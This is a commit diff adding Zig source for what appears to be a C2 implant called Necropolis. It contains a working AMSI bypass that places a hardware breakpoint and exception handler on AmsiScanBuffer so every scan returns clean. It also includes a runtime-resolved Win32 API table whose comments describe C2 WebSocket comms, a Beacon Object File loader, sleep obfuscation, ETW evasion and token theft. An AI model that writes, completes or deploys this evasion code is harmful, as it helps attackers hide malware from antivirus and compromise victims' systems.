Necropolis v1 release
This commit is contained in:
@@ -0,0 +1,51 @@
|
||||
// 4. AMSI bypass — hardware breakpoint on AmsiScanBuffer. No bytes modified in amsi.dll.
|
||||
// 1. g_veh_handle — VEH registration handle, g_amsi_scan_addr — cached AmsiScanBuffer address.
|
||||
// 2. amsi_veh_handler — SINGLE_STEP → RAX=0 (AMSI_RESULT_CLEAN), skip the function body.
|
||||
// 3. patch_amsi — LoadLibraryW("amsi.dll") → GetProcAddress → AddVectoredExceptionHandler →
|
||||
// SuspendThread → SetThreadContext(DR0=scan_addr, DR7=1) → ResumeThread.
|
||||
// Suspend/Resume pair is required because SetThreadContext while running can race.
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const api = @import("api.zig");
|
||||
|
||||
var g_veh_handle: ?*anyopaque = null;
|
||||
var g_amsi_scan_addr: ?*anyopaque = null;
|
||||
|
||||
// VEH handler: on SINGLE_STEP at g_amsi_scan_addr → RAX=0, RIP=ret_addr, skip function
|
||||
fn amsi_veh_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
|
||||
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
|
||||
ex.ExceptionRecord.ExceptionAddress == g_amsi_scan_addr)
|
||||
{
|
||||
ex.ContextRecord.Rax = 0; // AMSI_RESULT_CLEAN
|
||||
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
|
||||
ex.ContextRecord.Rip = ret_addr; // jump to AmsiScanBuffer's caller
|
||||
ex.ContextRecord.Rsp += 8; // pop return address
|
||||
return win.EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
return win.EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
pub fn patch_amsi() void {
|
||||
if (g_veh_handle != null) return;
|
||||
api.ensure();
|
||||
const load_w = api.amsi_load_library_w orelse return;
|
||||
const get_addr = api.amsi_get_proc_address orelse return;
|
||||
const veh = api.amsi_add_vectored_exception_handler orelse return;
|
||||
const cur_thread = api.amsi_get_current_thread orelse return;
|
||||
const set_ctx = api.amsi_set_thread_context orelse return;
|
||||
const suspend_thread = api.amsi_suspend_thread orelse return;
|
||||
const resume_thread = api.amsi_resume_thread orelse return;
|
||||
const amsi = load_w(&[_:0]u16{ 'a', 'm', 's', 'i', '.', 'd', 'l', 'l', 0 });
|
||||
if (amsi == null) return;
|
||||
g_amsi_scan_addr = get_addr(amsi.?, "AmsiScanBuffer");
|
||||
if (g_amsi_scan_addr == null) return;
|
||||
g_veh_handle = veh(1, amsi_veh_handler); // 1 = first in handler chain
|
||||
const thread = cur_thread();
|
||||
var ctx = std.mem.zeroes(win.CONTEXT);
|
||||
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
|
||||
ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?); // breakpoint address
|
||||
ctx.Dr7 = (1 << 0); // enable DR0 locally
|
||||
_ = suspend_thread(thread);
|
||||
_ = set_ctx(thread, &ctx);
|
||||
_ = resume_thread(thread);
|
||||
}
|
||||
+551
@@ -0,0 +1,551 @@
|
||||
// Central function-pointer type definitions + global pointer table. Zero static imports —
|
||||
// everything resolved at runtime by ensure() via resolve.zig.
|
||||
// 1. Re-exports — hash_ror13, resolve_api, get_module_by_hash, get_func_by_hash, NT_SUCCESS.
|
||||
// 2. Type aliases (2a-2g): exec, info, fiber, sleep, comms, bof, crypto Win32 API signatures.
|
||||
// 3. Type aliases (2h): amsi/etw/hwbp — VEH, thread context, module resolution.
|
||||
// 4. Type aliases (2i): privilege escalation — LookupPrivilegeValueW, AdjustTokenPrivileges.
|
||||
// 5. Global vars (2a-2i): one ?T_* pointer per API, all initially null.
|
||||
// 6. ensure() — walk kernel32→ntdll→winhttp→advapi32→bcrypt, resolve every pointer.
|
||||
// Falls back to LoadLibrary if a module isn't already loaded.
|
||||
const win = @import("win32.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
|
||||
pub const hash_ror13 = resolve.hash_ror13;
|
||||
pub const resolve_api = resolve.resolve_api;
|
||||
pub const get_module_by_hash = resolve.get_module_by_hash;
|
||||
pub const get_func_by_hash = resolve.get_func_by_hash;
|
||||
|
||||
pub const NT_SUCCESS = win.NT_SUCCESS;
|
||||
pub const BCRYPT_INIT_AUTH_MODE_INFO = win.BCRYPT_INIT_AUTH_MODE_INFO;
|
||||
|
||||
// 2a. exec.zig — process creation, pipes, token manipulation
|
||||
pub const T_exec_CreatePipe = *const fn (hReadPipe: win.PHANDLE, hWritePipe: win.PHANDLE, lpPipeAttributes: *win.SECURITY_ATTRIBUTES, nSize: win.DWORD) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_exec_CreateProcessA = *const fn (lpApplicationName: ?win.LPCSTR, lpCommandLine: win.LPSTR, lpProcessAttributes: ?*win.SECURITY_ATTRIBUTES, lpThreadAttributes: ?*win.SECURITY_ATTRIBUTES, bInheritHandles: win.BOOL, dwCreationFlags: win.DWORD, lpEnvironment: ?win.LPVOID, lpCurrentDirectory: ?win.LPCSTR, lpStartupInfo: *win.STARTUPINFOA, lpProcessInformation: *win.PROCESS_INFORMATION) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_exec_ReadFile = *const fn (hFile: win.HANDLE, lpBuffer: ?win.LPVOID, nNumberOfBytesToRead: win.DWORD, lpNumberOfBytesRead: win.PDWORD, lpOverlapped: ?win.LPVOID) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_exec_WaitForSingleObject = *const fn (hHandle: win.HANDLE, dwMilliseconds: win.DWORD) callconv(win.WINAPI) win.DWORD;
|
||||
pub const T_exec_GetExitCodeProcess = *const fn (hProcess: win.HANDLE, lpExitCode: win.PDWORD) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_exec_GetLastError = *const fn () callconv(win.WINAPI) win.DWORD;
|
||||
pub const T_exec_GetModuleFileNameA = *const fn (hModule: ?win.HMODULE, lpFilename: win.LPSTR, nSize: win.DWORD) callconv(win.WINAPI) win.DWORD;
|
||||
pub const T_exec_ExitProcess = *const fn (uExitCode: win.UINT) callconv(win.WINAPI) void;
|
||||
pub const T_exec_InitializeProcThreadAttributeList = *const fn (lpAttributeList: ?*anyopaque, dwAttributeCount: win.DWORD, dwFlags: win.DWORD, lpSize: *win.SIZE_T) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_exec_UpdateProcThreadAttribute = *const fn (lpAttributeList: ?*anyopaque, dwFlags: win.DWORD, Attribute: win.DWORD_PTR, lpValue: ?*anyopaque, cbSize: win.SIZE_T, lpPreviousValue: ?*anyopaque, lpReturnSize: ?*win.SIZE_T) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_exec_DeleteProcThreadAttributeList = *const fn (lpAttributeList: ?*anyopaque) callconv(win.WINAPI) void;
|
||||
pub const T_exec_CreateFileA = *const fn (lpFileName: win.LPCSTR, dwDesiredAccess: win.DWORD, dwShareMode: win.DWORD, lpSecurityAttributes: ?*win.SECURITY_ATTRIBUTES, dwCreationDisposition: win.DWORD, dwFlagsAndAttributes: win.DWORD, hTemplateFile: ?win.HANDLE) callconv(win.WINAPI) win.HANDLE;
|
||||
pub const T_exec_WriteFile = *const fn (hFile: win.HANDLE, lpBuffer: win.LPCVOID, nNumberOfBytesToWrite: win.DWORD, lpNumberOfBytesWritten: win.PDWORD, lpOverlapped: ?win.LPVOID) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_exec_OpenProcessToken = *const fn (ProcessHandle: win.HANDLE, DesiredAccess: win.DWORD, TokenHandle: *win.HANDLE) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_exec_DuplicateTokenEx = *const fn (ExistingTokenHandle: win.HANDLE, dwDesiredAccess: win.DWORD, lpTokenAttributes: ?*win.SECURITY_ATTRIBUTES, ImpersonationLevel: win.SECURITY_IMPERSONATION_LEVEL, TokenType: win.TOKEN_TYPE, DuplicateTokenHandle: *win.HANDLE) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_exec_CreateProcessWithTokenW = *const fn (hToken: win.HANDLE, dwLogonFlags: win.DWORD, lpApplicationName: ?win.LPCWSTR, lpCommandLine: win.LPWSTR, dwCreationFlags: win.DWORD, lpEnvironment: ?win.LPVOID, lpCurrentDirectory: ?win.LPCWSTR, lpStartupInfo: *win.STARTUPINFOA, lpProcessInformation: *win.PROCESS_INFORMATION) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_exec_CreatePseudoConsole = *const fn (size: win.COORD, hInput: win.HANDLE, hOutput: win.HANDLE, dwFlags: win.DWORD, phPC: *win.HANDLE) callconv(win.WINAPI) win.HRESULT;
|
||||
pub const T_exec_ClosePseudoConsole = *const fn (hPC: win.HANDLE) callconv(win.WINAPI) void;
|
||||
pub const T_exec_CreateThread = *const fn (lpThreadAttributes: ?*win.SECURITY_ATTRIBUTES, dwStackSize: win.SIZE_T, lpStartAddress: *const fn (?*anyopaque) callconv(win.WINAPI) win.DWORD, lpParameter: ?*anyopaque, dwCreationFlags: win.DWORD, lpThreadId: *win.DWORD) callconv(win.WINAPI) win.HANDLE;
|
||||
pub const T_exec_InitializeCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
|
||||
pub const T_exec_EnterCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
|
||||
pub const T_exec_LeaveCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
|
||||
pub const T_exec_DeleteCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
|
||||
|
||||
// 2b. info.zig — host identification, system version, time
|
||||
pub const T_info_GetComputerNameA = *const fn (lpBuffer: win.LPSTR, nSize: *win.DWORD) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_info_GetUserNameA = *const fn (lpBuffer: win.LPSTR, nSize: *win.DWORD) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_info_GetSystemInfo = *const fn (lpSystemInfo: *win.SYSTEM_INFO) callconv(win.WINAPI) void;
|
||||
pub const T_info_GetCurrentProcessId = *const fn () callconv(win.WINAPI) win.DWORD;
|
||||
pub const T_info_RtlGetVersion = *const fn (lpVersionInformation: *win.RTL_OSVERSIONINFOW) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_info_GetSystemTime = *const fn (lpSystemTime: *win.SYSTEMTIME) callconv(win.WINAPI) void;
|
||||
|
||||
// 2c. fiber.zig — fiber API for Ekko-style sleep (unhooked timers)
|
||||
pub const T_fiber_ConvertThreadToFiber = *const fn (?*anyopaque) callconv(win.WINAPI) ?*anyopaque;
|
||||
pub const T_fiber_CreateFiber = *const fn (win.SIZE_T, *const fn (?*anyopaque) callconv(win.WINAPI) void, ?*anyopaque) callconv(win.WINAPI) ?*anyopaque;
|
||||
pub const T_fiber_SwitchToFiber = *const fn (?*anyopaque) callconv(win.WINAPI) void;
|
||||
pub const T_fiber_DeleteFiber = *const fn (?*anyopaque) callconv(win.WINAPI) void;
|
||||
pub const T_fiber_ConvertFiberToThread = *const fn () callconv(win.WINAPI) win.BOOL;
|
||||
|
||||
// 2d. RC4 sleep obfuscation — SystemFunction032, VirtualQuery, VirtualProtect
|
||||
pub const USTRING = extern struct {
|
||||
Length: win.ULONG,
|
||||
MaximumLength: win.ULONG,
|
||||
Buffer: [*]u8,
|
||||
};
|
||||
pub const T_sleep_SystemFunction032 = *const fn (*USTRING, *USTRING) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_sleep_VirtualQuery = *const fn (?*const anyopaque, *win.MEMORY_BASIC_INFORMATION, win.SIZE_T) callconv(win.WINAPI) win.SIZE_T;
|
||||
pub const T_sleep_VirtualProtect = *const fn (?*anyopaque, win.SIZE_T, win.DWORD, *win.DWORD) callconv(win.WINAPI) win.BOOL;
|
||||
|
||||
// 2e. comms.zig — WinHTTP + WebSocket C2 comms
|
||||
pub const T_comms_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) win.HMODULE;
|
||||
pub const T_comms_WinHttpOpen = *const fn (pwszUserAgent: win.LPCWSTR, dwAccessType: win.DWORD, pwszProxyName: ?win.LPCWSTR, pwszProxyBypass: ?win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
|
||||
pub const T_comms_WinHttpConnect = *const fn (hSession: win.HINTERNET, pswzServerName: win.LPCWSTR, nServerPort: win.INTERNET_PORT, dwReserved: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
|
||||
pub const T_comms_WinHttpOpenRequest = *const fn (hConnect: win.HINTERNET, pwszVerb: win.LPCWSTR, pwszObjectName: win.LPCWSTR, pwszVersion: ?win.LPCWSTR, pwszReferrer: ?win.LPCWSTR, ppwszAcceptTypes: ?[*]win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
|
||||
pub const T_comms_WinHttpSetOption = *const fn (hInternet: win.HINTERNET, dwOption: win.DWORD, lpBuffer: ?win.LPVOID, dwBufferLength: win.DWORD) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_comms_WinHttpSendRequest = *const fn (hRequest: win.HINTERNET, lpszHeaders: ?win.LPCWSTR, dwHeadersLength: win.DWORD, lpOptional: ?win.LPVOID, dwOptionalLength: win.DWORD, dwTotalLength: win.DWORD, dwContext: win.DWORD_PTR) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_comms_WinHttpReceiveResponse = *const fn (hRequest: win.HINTERNET, lpReserved: ?win.LPVOID) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_comms_WinHttpReadData = *const fn (hRequest: win.HINTERNET, lpBuffer: ?win.LPVOID, dwNumberOfBytesToRead: win.DWORD, lpdwNumberOfBytesRead: win.PDWORD) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_comms_WinHttpCloseHandle = *const fn (hInternet: win.HINTERNET) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_comms_WinHttpAddRequestHeaders = *const fn (hRequest: win.HINTERNET, lpszHeaders: win.LPCWSTR, dwHeadersLength: win.DWORD, dwModifiers: win.DWORD) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_comms_WinHttpQueryDataAvailable = *const fn (hRequest: win.HINTERNET, lpdwNumberOfBytesAvailable: win.PDWORD) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_comms_WinHttpWebSocketCompleteUpgrade = *const fn (hRequest: win.HINTERNET, phWebSocket: *win.HINTERNET) callconv(win.WINAPI) win.DWORD;
|
||||
pub const T_comms_WinHttpWebSocketSend = *const fn (hWebSocket: win.HINTERNET, eBufferType: win.WINHTTP_WEB_SOCKET_BUFFER_TYPE, pvBuffer: ?win.LPVOID, dwBufferLength: win.DWORD) callconv(win.WINAPI) win.DWORD;
|
||||
pub const T_comms_WinHttpWebSocketReceive = *const fn (hWebSocket: win.HINTERNET, pvBuffer: ?win.LPVOID, dwBufferLength: win.DWORD, pdwBytesRead: win.PDWORD, peBufferType: *win.WINHTTP_WEB_SOCKET_BUFFER_TYPE) callconv(win.WINAPI) win.DWORD;
|
||||
pub const T_comms_WinHttpWebSocketClose = *const fn (hWebSocket: win.HINTERNET) callconv(win.WINAPI) win.DWORD;
|
||||
|
||||
// 2f. bof.zig — Beacon Object File loader (COFF->memory->execute)
|
||||
pub const T_bof_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) ?win.HMODULE;
|
||||
pub const T_bof_GetProcAddress = *const fn (hModule: ?win.HMODULE, lpProcName: win.LPCSTR) callconv(win.WINAPI) ?win.FARPROC;
|
||||
pub const T_bof_GetModuleHandleA = *const fn (lpModuleName: win.LPCSTR) callconv(win.WINAPI) ?win.HMODULE;
|
||||
pub const T_bof_VirtualAlloc = *const fn (lpAddress: ?win.LPVOID, dwSize: win.SIZE_T, flAllocationType: win.DWORD, flProtect: win.DWORD) callconv(win.WINAPI) ?win.LPVOID;
|
||||
pub const T_bof_VirtualFree = *const fn (lpAddress: win.LPVOID, dwSize: win.SIZE_T, dwFreeType: win.DWORD) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_bof_VirtualProtect = *const fn (lpAddress: win.LPVOID, dwSize: win.SIZE_T, flNewProtect: win.DWORD, lpflOldProtect: *win.DWORD) callconv(win.WINAPI) win.BOOL;
|
||||
|
||||
// 2g. crypto.zig — BCrypt ECDH key exchange + AES-GCM encrypt/decrypt
|
||||
pub const T_crypto_BCryptOpenAlgorithmProvider = *const fn (phAlgorithm: *win.BCRYPT_ALG_HANDLE, pszAlgId: win.LPCWSTR, pszImplementation: ?win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_crypto_BCryptCloseAlgorithmProvider = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, dwFlags: win.DWORD) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_crypto_BCryptSetProperty = *const fn (hObject: win.BCRYPT_ALG_HANDLE, pszProperty: win.LPCWSTR, pbInput: [*]u8, cbInput: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_crypto_BCryptGenerateSymmetricKey = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, phKey: *win.BCRYPT_KEY_HANDLE, pbKeyObject: ?[*]u8, cbKeyObject: win.ULONG, pbSecret: [*]const u8, cbSecret: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_crypto_BCryptDestroyKey = *const fn (hKey: win.BCRYPT_KEY_HANDLE) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_crypto_BCryptEncrypt = *const fn (hKey: win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, pPaddingInfo: ?*anyopaque, pbIV: ?[*]u8, cbIV: win.ULONG, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_crypto_BCryptDecrypt = *const fn (hKey: win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, pPaddingInfo: ?*anyopaque, pbIV: ?[*]u8, cbIV: win.ULONG, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_crypto_BCryptGenRandom = *const fn (hAlgorithm: ?win.BCRYPT_ALG_HANDLE, pbBuffer: [*]u8, cbBuffer: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_crypto_BCryptGenerateKeyPair = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, phKey: *win.BCRYPT_KEY_HANDLE, dwLength: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_crypto_BCryptFinalizeKeyPair = *const fn (hKey: win.BCRYPT_KEY_HANDLE, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_crypto_BCryptExportKey = *const fn (hKey: win.BCRYPT_KEY_HANDLE, hExportKey: ?win.BCRYPT_KEY_HANDLE, pszBlobType: win.LPCWSTR, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_crypto_BCryptImportKeyPair = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, hImportKey: ?win.BCRYPT_KEY_HANDLE, pszBlobType: win.LPCWSTR, phKey: *win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_crypto_BCryptSecretAgreement = *const fn (hPrivKey: win.BCRYPT_KEY_HANDLE, hPubKey: win.BCRYPT_KEY_HANDLE, phAgreedSecret: *win.BCRYPT_SECRET_HANDLE, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_crypto_BCryptDeriveKey = *const fn (hSharedSecret: win.BCRYPT_SECRET_HANDLE, pwszKDF: ?*const anyopaque, pParameterList: ?*anyopaque, pbDerivedKey: ?[*]u8, cbDerivedKey: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_crypto_BCryptDestroySecret = *const fn (hSharedSecret: win.BCRYPT_SECRET_HANDLE) callconv(win.WINAPI) win.NTSTATUS;
|
||||
|
||||
pub const T_amsi_LoadLibraryW = *const fn (lpLibFileName: [*:0]const u16) callconv(win.WINAPI) ?win.HMODULE;
|
||||
pub const T_amsi_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque;
|
||||
pub const T_amsi_AddVectoredExceptionHandler = *const fn (dwFirst: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque;
|
||||
pub const T_amsi_GetCurrentThread = *const fn () callconv(win.WINAPI) win.HANDLE;
|
||||
pub const T_amsi_SetThreadContext = *const fn (hThread: win.HANDLE, lpContext: *const win.CONTEXT) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_amsi_SuspendThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD;
|
||||
pub const T_amsi_ResumeThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD;
|
||||
|
||||
pub const T_etw_GetModuleHandleW = *const fn (lpModuleName: [*:0]const u16) callconv(win.WINAPI) ?win.HMODULE;
|
||||
pub const T_etw_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque;
|
||||
pub const T_etw_VirtualProtect = *const fn (lpAddress: ?*anyopaque, dwSize: win.SIZE_T, flNewProtect: win.DWORD, lpflOldProtect: *win.DWORD) callconv(win.WINAPI) win.BOOL;
|
||||
|
||||
// ====================================================================
|
||||
// Global function-pointer variables — populated by ensure() below
|
||||
// ====================================================================
|
||||
|
||||
// 2a. exec.zig
|
||||
pub var exec_create_pipe: ?T_exec_CreatePipe = null;
|
||||
pub var exec_create_process_a: ?T_exec_CreateProcessA = null;
|
||||
pub var exec_read_file: ?T_exec_ReadFile = null;
|
||||
pub var exec_wait_for_single_object: ?T_exec_WaitForSingleObject = null;
|
||||
pub var exec_get_exit_code_process: ?T_exec_GetExitCodeProcess = null;
|
||||
pub var exec_get_last_error: ?T_exec_GetLastError = null;
|
||||
pub var exec_get_module_file_name_a: ?T_exec_GetModuleFileNameA = null;
|
||||
pub var exec_exit_process: ?T_exec_ExitProcess = null;
|
||||
pub var exec_initialize_proc_thread_attribute_list: ?T_exec_InitializeProcThreadAttributeList = null;
|
||||
pub var exec_update_proc_thread_attribute: ?T_exec_UpdateProcThreadAttribute = null;
|
||||
pub var exec_delete_proc_thread_attribute_list: ?T_exec_DeleteProcThreadAttributeList = null;
|
||||
pub var exec_create_file_a: ?T_exec_CreateFileA = null;
|
||||
pub var exec_write_file: ?T_exec_WriteFile = null;
|
||||
pub var exec_open_process_token: ?T_exec_OpenProcessToken = null;
|
||||
pub var exec_duplicate_token_ex: ?T_exec_DuplicateTokenEx = null;
|
||||
pub var exec_create_process_with_token_w: ?T_exec_CreateProcessWithTokenW = null;
|
||||
pub var exec_create_pseudo_console: ?T_exec_CreatePseudoConsole = null;
|
||||
pub var exec_close_pseudo_console: ?T_exec_ClosePseudoConsole = null;
|
||||
pub var exec_create_thread: ?T_exec_CreateThread = null;
|
||||
pub var exec_initialize_critical_section: ?T_exec_InitializeCriticalSection = null;
|
||||
pub var exec_enter_critical_section: ?T_exec_EnterCriticalSection = null;
|
||||
pub var exec_leave_critical_section: ?T_exec_LeaveCriticalSection = null;
|
||||
pub var exec_delete_critical_section: ?T_exec_DeleteCriticalSection = null;
|
||||
|
||||
// 2b. info.zig
|
||||
pub var info_get_computer_name_a: ?T_info_GetComputerNameA = null;
|
||||
pub var info_get_user_name_a: ?T_info_GetUserNameA = null;
|
||||
pub var info_get_system_info: ?T_info_GetSystemInfo = null;
|
||||
pub var info_get_current_process_id: ?T_info_GetCurrentProcessId = null;
|
||||
pub var info_rtl_get_version: ?T_info_RtlGetVersion = null;
|
||||
pub var info_get_system_time: ?T_info_GetSystemTime = null;
|
||||
|
||||
// 2c. fiber.zig
|
||||
pub var fiber_ConvertThreadToFiber: ?T_fiber_ConvertThreadToFiber = null;
|
||||
pub var fiber_CreateFiber: ?T_fiber_CreateFiber = null;
|
||||
pub var fiber_SwitchToFiber: ?T_fiber_SwitchToFiber = null;
|
||||
pub var fiber_DeleteFiber: ?T_fiber_DeleteFiber = null;
|
||||
pub var fiber_ConvertFiberToThread: ?T_fiber_ConvertFiberToThread = null;
|
||||
|
||||
// 2d. sleep.zig
|
||||
pub var sleep_SystemFunction032: ?T_sleep_SystemFunction032 = null;
|
||||
pub var sleep_VirtualQuery: ?T_sleep_VirtualQuery = null;
|
||||
pub var sleep_VirtualProtect: ?T_sleep_VirtualProtect = null;
|
||||
|
||||
// 2e. comms.zig
|
||||
pub var comms_load_library_a: ?T_comms_LoadLibraryA = null;
|
||||
pub var comms_winhttp_open: ?T_comms_WinHttpOpen = null;
|
||||
pub var comms_winhttp_connect: ?T_comms_WinHttpConnect = null;
|
||||
pub var comms_winhttp_open_request: ?T_comms_WinHttpOpenRequest = null;
|
||||
pub var comms_winhttp_set_option: ?T_comms_WinHttpSetOption = null;
|
||||
pub var comms_winhttp_send_request: ?T_comms_WinHttpSendRequest = null;
|
||||
pub var comms_winhttp_receive_response: ?T_comms_WinHttpReceiveResponse = null;
|
||||
pub var comms_winhttp_read_data: ?T_comms_WinHttpReadData = null;
|
||||
pub var comms_winhttp_close_handle: ?T_comms_WinHttpCloseHandle = null;
|
||||
pub var comms_winhttp_add_request_headers: ?T_comms_WinHttpAddRequestHeaders = null;
|
||||
pub var comms_winhttp_query_data_available: ?T_comms_WinHttpQueryDataAvailable = null;
|
||||
pub var comms_winhttp_websocket_complete_upgrade: ?T_comms_WinHttpWebSocketCompleteUpgrade = null;
|
||||
pub var comms_winhttp_websocket_send: ?T_comms_WinHttpWebSocketSend = null;
|
||||
pub var comms_winhttp_websocket_receive: ?T_comms_WinHttpWebSocketReceive = null;
|
||||
pub var comms_winhttp_websocket_close: ?T_comms_WinHttpWebSocketClose = null;
|
||||
|
||||
// 2f. bof.zig
|
||||
pub var bof_load_library_a: ?T_bof_LoadLibraryA = null;
|
||||
pub var bof_get_proc_address: ?T_bof_GetProcAddress = null;
|
||||
pub var bof_get_module_handle_a: ?T_bof_GetModuleHandleA = null;
|
||||
pub var bof_virtual_alloc: ?T_bof_VirtualAlloc = null;
|
||||
pub var bof_virtual_free: ?T_bof_VirtualFree = null;
|
||||
pub var bof_virtual_protect: ?T_bof_VirtualProtect = null;
|
||||
|
||||
// 2g. crypto.zig
|
||||
pub var crypto_bcrypt_open: ?T_crypto_BCryptOpenAlgorithmProvider = null;
|
||||
pub var crypto_bcrypt_close: ?T_crypto_BCryptCloseAlgorithmProvider = null;
|
||||
pub var crypto_bcrypt_set_prop: ?T_crypto_BCryptSetProperty = null;
|
||||
pub var crypto_bcrypt_gen_key: ?T_crypto_BCryptGenerateSymmetricKey = null;
|
||||
pub var crypto_bcrypt_destroy_key: ?T_crypto_BCryptDestroyKey = null;
|
||||
pub var crypto_bcrypt_encrypt: ?T_crypto_BCryptEncrypt = null;
|
||||
pub var crypto_bcrypt_decrypt: ?T_crypto_BCryptDecrypt = null;
|
||||
pub var crypto_bcrypt_gen_random: ?T_crypto_BCryptGenRandom = null;
|
||||
pub var crypto_bcrypt_gen_key_pair: ?T_crypto_BCryptGenerateKeyPair = null;
|
||||
pub var crypto_bcrypt_finalize_key_pair: ?T_crypto_BCryptFinalizeKeyPair = null;
|
||||
pub var crypto_bcrypt_export_key: ?T_crypto_BCryptExportKey = null;
|
||||
pub var crypto_bcrypt_import_key_pair: ?T_crypto_BCryptImportKeyPair = null;
|
||||
pub var crypto_bcrypt_secret_agreement: ?T_crypto_BCryptSecretAgreement = null;
|
||||
pub var crypto_bcrypt_derive_key: ?T_crypto_BCryptDeriveKey = null;
|
||||
pub var crypto_bcrypt_destroy_secret: ?T_crypto_BCryptDestroySecret = null;
|
||||
|
||||
// 2h. AMSI/ETW/HWBP evasion pointers — VEH, thread context, module resolution
|
||||
pub var amsi_load_library_w: ?T_amsi_LoadLibraryW = null;
|
||||
pub var amsi_get_proc_address: ?T_amsi_GetProcAddress = null;
|
||||
pub var amsi_add_vectored_exception_handler: ?T_amsi_AddVectoredExceptionHandler = null;
|
||||
pub var amsi_get_current_thread: ?T_amsi_GetCurrentThread = null;
|
||||
pub var amsi_set_thread_context: ?T_amsi_SetThreadContext = null;
|
||||
pub var amsi_suspend_thread: ?T_amsi_SuspendThread = null;
|
||||
pub var amsi_resume_thread: ?T_amsi_ResumeThread = null;
|
||||
|
||||
pub var etw_get_module_handle_w: ?T_etw_GetModuleHandleW = null;
|
||||
pub var etw_get_proc_address: ?T_etw_GetProcAddress = null;
|
||||
pub var etw_virtual_protect: ?T_etw_VirtualProtect = null;
|
||||
|
||||
// HWBP reuses AMSI's VEH/thread APIs — same AddVectoredExceptionHandler under the hood
|
||||
